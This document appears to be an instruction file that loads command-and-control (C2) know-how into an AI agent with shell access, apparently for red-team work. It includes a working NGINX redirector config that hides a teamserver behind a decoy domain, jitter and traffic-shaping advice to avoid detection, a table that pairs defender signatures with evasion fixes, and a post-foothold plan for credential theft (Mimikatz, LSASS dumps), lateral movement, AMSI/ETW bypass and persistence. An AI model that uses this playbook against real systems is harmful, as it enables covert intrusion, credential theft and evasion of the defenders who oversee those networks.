c2

name	c2
description	Framework-agnostic C2 orchestration — listener types, implant modes, redirector architecture, malleable profiles, jitter strategy, OPSEC guidance.
allowed-tools	Bash Read
metadata	{"subdomain":"command-and-control","when_to_use":"C2, command and control, implant, beacon, listener, redirector, teamserver, payload delivery","tags":"c2, implant, beacon, listener, redirector, payload, orchestration","mitre_attack":"T1071, T1573, T1090, T1105, T1572"}

Command & Control (C2) Knowledge Base

C2 infrastructure enables persistent, covert communication between the operator and implants deployed on target systems. Proper C2 setup minimizes detection, ensures operational resilience through redirectors, and provides the foundation for all post-exploitation activity.

Atlas C2 Architecture

C2 servers run as separate containers on sandbox-net, selectable via docker compose profiles. The Kali sandbox has C2 clients only — servers are never co-located with the attack box.

Framework	Container	Profile	Client in Sandbox
Sliver	c2-sliver	c2-sliver (default in .env)	sliver-client
Havoc	c2-havoc	c2-havoc (future)	havoc-client (future)

Default: COMPOSE_PROFILES=c2-sliver in .env → docker compose up -d starts Sliver. Swap: change COMPOSE_PROFILES value to use a different C2 framework. For framework-specific setup, consult the dedicated skill: c2-sliver, c2-havoc, etc.

MITRE ATT&CK Mapping

Technique ID	Name	C2 Relevance
T1071.001	Application Layer Protocol: Web Protocols	HTTPS-based C2 channels
T1071.004	Application Layer Protocol: DNS	DNS-based C2 channels
T1573.002	Encrypted Channel: Asymmetric Cryptography	mTLS, AES-encrypted payloads
T1090.002	Proxy: External Proxy	Redirectors, CDN fronting
T1105	Ingress Tool Transfer	Upload/download via implant
T1572	Protocol Tunneling	DNS tunneling, port forwarding

1. C2 Channel Types

Channel	Port	Stealth	Speed	Use Case
HTTPS	443	High (blends with web)	Fast	Primary channel
DNS	53	Very High (rarely blocked)	Slow	Fallback / restricted networks
mTLS	Custom	High (mutual auth)	Fast	High-security sessions
WireGuard	51820	Medium	Fast	Tunneled access, pivoting

Multi-Channel Strategy

Primary:   HTTPS (443)  — fast, reliable, blends with web traffic
Fallback:  DNS (53)     — survives proxy/firewall restrictions
Pivot:     mTLS (8888)  — internal movement after initial foothold
Tunnel:    WireGuard    — full network tunnel through implant

2. Implant Modes

Mode	Use Case	OPSEC	Responsiveness
Beacon	Long-term persistence, low-and-slow	High (periodic check-ins)	Low (sleep + jitter delay)
Session	Active exploitation, interactive ops	Low (persistent connection)	Immediate
Stager	Initial delivery, size-constrained	Medium (small footprint)	Delayed (downloads full implant)

Jitter Recommendations

Environment	Sleep Interval	Jitter %	Rationale
Initial access	60-120s	50-70%	Avoid pattern detection
Established foothold	30-60s	30-50%	Balance speed and stealth
Active operation window	5-15s	20-30%	Responsiveness needed
Long-term persistence	300-900s	60-80%	Blend with noise floor

Output Formats

Format	Use Case	Delivery Method
EXE	Direct execution	Phishing, file share, web exploit
Shared Library (DLL/SO)	DLL sideloading, hijacking	Planted in app directory
Shellcode	Custom loaders, injection	Process injection, custom dropper
Service	Windows service persistence	sc.exe, registry modification

3. Redirector Architecture

Target Network          Internet              Operator
┌──────────┐     ┌────────────────┐     ┌──────────────┐
│  Implant │────→│  Redirector    │────→│  Teamserver  │
│          │←────│  (NGINX/CDN)   │←────│  (C2 Server) │
│          │     │                │     │              │
└──────────┘     │  - URI filter  │     └──────────────┘
                 │  - UA filter   │
                 │  - GeoIP block │
                 │  - Decoy page  │
                 └────────────────┘

NGINX Reverse Proxy Redirector

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name legitimate-looking-domain.com;

    ssl_certificate     /etc/letsencrypt/live/legitimate-looking-domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/legitimate-looking-domain.com/privkey.pem;

    # Allow only expected C2 URIs
    location /api/v2/status {
        proxy_pass https://<TEAMSERVER_IP>:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    # Block all other traffic — return decoy page
    location / {
        root /var/www/html;
        index index.html;
    }
}

Redirector OPSEC

• Use aged, categorized domains (check via Bluecoat/WebPulse before engagement)
• Use Let's Encrypt or purchased certs (not self-signed)
• Layer CDN (Cloudflare/CloudFront) as additional redirect
• Deploy 2-3 redirectors for redundancy; monitor logs for IR probing

4. Malleable Profiles

Concept

Malleable profiles shape C2 traffic to mimic legitimate application traffic, evading network-based detection. Each framework has its own profile format (Sliver: HTTP C2 JSON, Havoc: YAOTL listener config, Cobalt Strike: malleable C2).

Profile Design Principles

• Match the target environment: If target runs IIS, mimic IIS traffic patterns
• Realistic URIs: Use paths that match expected web application routes
• Consistent headers: Response headers must match the claimed server technology
• Payload encoding: Use transforms (base64, prepend/append junk) to obscure payload bytes
• Avoid defaults: Never use framework default profiles in production engagements

5. Detection Signatures

Indicator	Pattern	OPSEC Mitigation
Default HTTP headers	Framework-specific header combos	Use custom C2 profiles
Default URI patterns	Known C2 URI paths	Configure custom URI paths
Beacon interval regularity	Exact N-second intervals with no variance	Always set jitter >= 30%
DNS TXT record patterns	Base64-encoded TXT responses > 255 bytes	Fragment data, short polling
DNS subdomain length	Unusually long subdomain labels	Reduce payload per query
mTLS certificate anomalies	Self-signed certs, unusual CN/SAN	Use legitimate CA-signed certificates
JA3/JA3S fingerprints	TLS client hello unique to implant	Process injection into browser
Payload staging traffic	Large download immediately after connect	Use stageless payloads
Process injection artifacts	Unbacked RWX memory regions	Indirect syscalls, RW→RX

6. Decision Gate

C2 Established — Next Steps

C2 Active (implant callback confirmed)
│
├──→ Credential Access
│    - hashdump, Mimikatz, Rubeus
│    - Kerberoasting, AS-REP roasting
│    - LSASS dump, SAM extraction
│
├──→ Lateral Movement
│    - PsExec, WMI, WinRM
│    - DCOM, SMB, RDP
│    - Pass-the-Hash, Pass-the-Ticket
│
├──→ Defense Evasion (if detected)
│    - AMSI/ETW bypass
│    - New loader, re-encode payload
│    - Switch C2 channel (HTTPS→DNS)
│
└──→ Persistence (if needed)
     - Scheduled tasks, services
     - Registry run keys
     - DLL hijacking

Pre-Lateral-Movement Checklist

• Stable C2 callback with appropriate jitter
• Host situational awareness complete (users, AV, domain info)
• Credentials or tokens obtained for target account
• Pivot infrastructure configured (SOCKS/port forward)
• Backup C2 channel available (DNS fallback)
• OPSEC review: no alerts triggered, implant stable

7. Tools & Resources

Tool	Purpose
Sliver	Open-source C2 (BishopFox) — c2-sliver skill
Havoc	Modern C2 with evasion — c2-havoc skill (future)
NGINX	Redirector reverse proxy
Certbot	Let's Encrypt SSL certs
socat	Simple port redirection/relay
Cobalt Strike	Commercial C2 (reference only)
Mythic	Modular C2 platform

8. Output Files

post-exploit/c2/
├── implants/                    # Generated implant binaries
│   ├── win_beacon.exe
│   ├── lin_https
│   ├── shellcode.bin
│   └── stager.bin
├── profiles/                    # Custom C2 profiles
├── certs/                       # SSL certificates
├── loot/                        # Exfiltrated files
└── c2_operations_log.md         # Timestamped operator actions